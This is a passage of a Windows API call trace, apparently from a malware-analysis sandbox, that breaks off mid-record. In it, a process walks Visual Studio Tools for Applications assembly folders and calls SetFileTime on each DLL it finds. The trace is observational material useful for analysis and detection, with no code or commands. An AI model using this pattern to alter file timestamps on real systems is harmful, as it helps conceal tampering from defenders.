lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.202] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60fb5630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.202] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.202] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.203] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60fb5630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.208] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.208] CloseHandle (hObject=0x90) returned 1 [0098.208] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60fb5630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.208] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60fb5630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0098.209] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.209] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf455c700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c642e, dwReserved1=0x720000, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0", cAlternateFileName="MICROS~4.0")) returned 1 [0098.209] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0") returned -1 [0098.209] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0") returned -1 [0098.212] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.212] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf455c700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.212] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.212] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.212] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5f05820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5f05820, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.212] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.213] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.213] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.213] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5f05820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5f05820, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.213] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.213] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.213] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5f05820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5f05820, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x89b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.243] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.243] CloseHandle (hObject=0x90) returned 1 [0098.244] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5f05820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5f05820, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x89b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.244] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.244] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5f05820, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5f05820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5f05820, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.244] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.244] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31762e72, dwReserved1=0x2e302e30, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0", cAlternateFileName="MIF70E~1.0")) returned 1 [0098.244] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0") returned -1 [0098.245] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0") returned -1 [0098.245] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.245] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.245] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.245] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.245] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.246] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.298] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.298] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.298] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.299] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.299] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x255b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.346] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.346] CloseHandle (hObject=0x90) returned 1 [0098.347] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x255b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.347] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.347] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33e0960, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.347] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.347] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e5c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2e5c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2e5c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e302e30, dwReserved1=0x6c6c64, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0", cAlternateFileName="MI6774~1.0")) returned 1 [0098.347] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0") returned -1 [0098.347] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0") returned -1 [0098.348] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.348] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e5c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2e5c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2e5c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.348] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.348] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.348] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.348] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.348] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.349] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.349] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.349] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.349] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.349] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.397] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.397] CloseHandle (hObject=0x90) returned 1 [0098.398] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.398] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.398] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.398] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.398] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x642e302e, dwReserved1=0x6c6c, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0", cAlternateFileName="MICA0E~1.0")) returned 1 [0098.399] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0") returned -1 [0098.399] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0") returned -1 [0098.399] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.399] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.399] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.399] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.399] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5fea060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5fea060, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.399] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.400] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.401] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.401] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5fea060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5fea060, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.401] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.401] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.401] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5fea060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60101c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x7fb0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.437] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.437] CloseHandle (hObject=0x90) returned 1 [0098.437] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5fea060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60101c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x7fb0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.437] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.438] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5fea060, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd5fea060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5fea060, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.438] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2cdfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2cdfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2cdfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e302e30, dwReserved1=0x6c6c64, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0", cAlternateFileName="MICROS~3.0")) returned 1 [0098.438] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0") returned -1 [0098.438] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0") returned -1 [0098.438] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.438] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2cdfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2cdfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2cdfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.439] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.439] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.439] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.439] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.439] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.439] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.439] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, 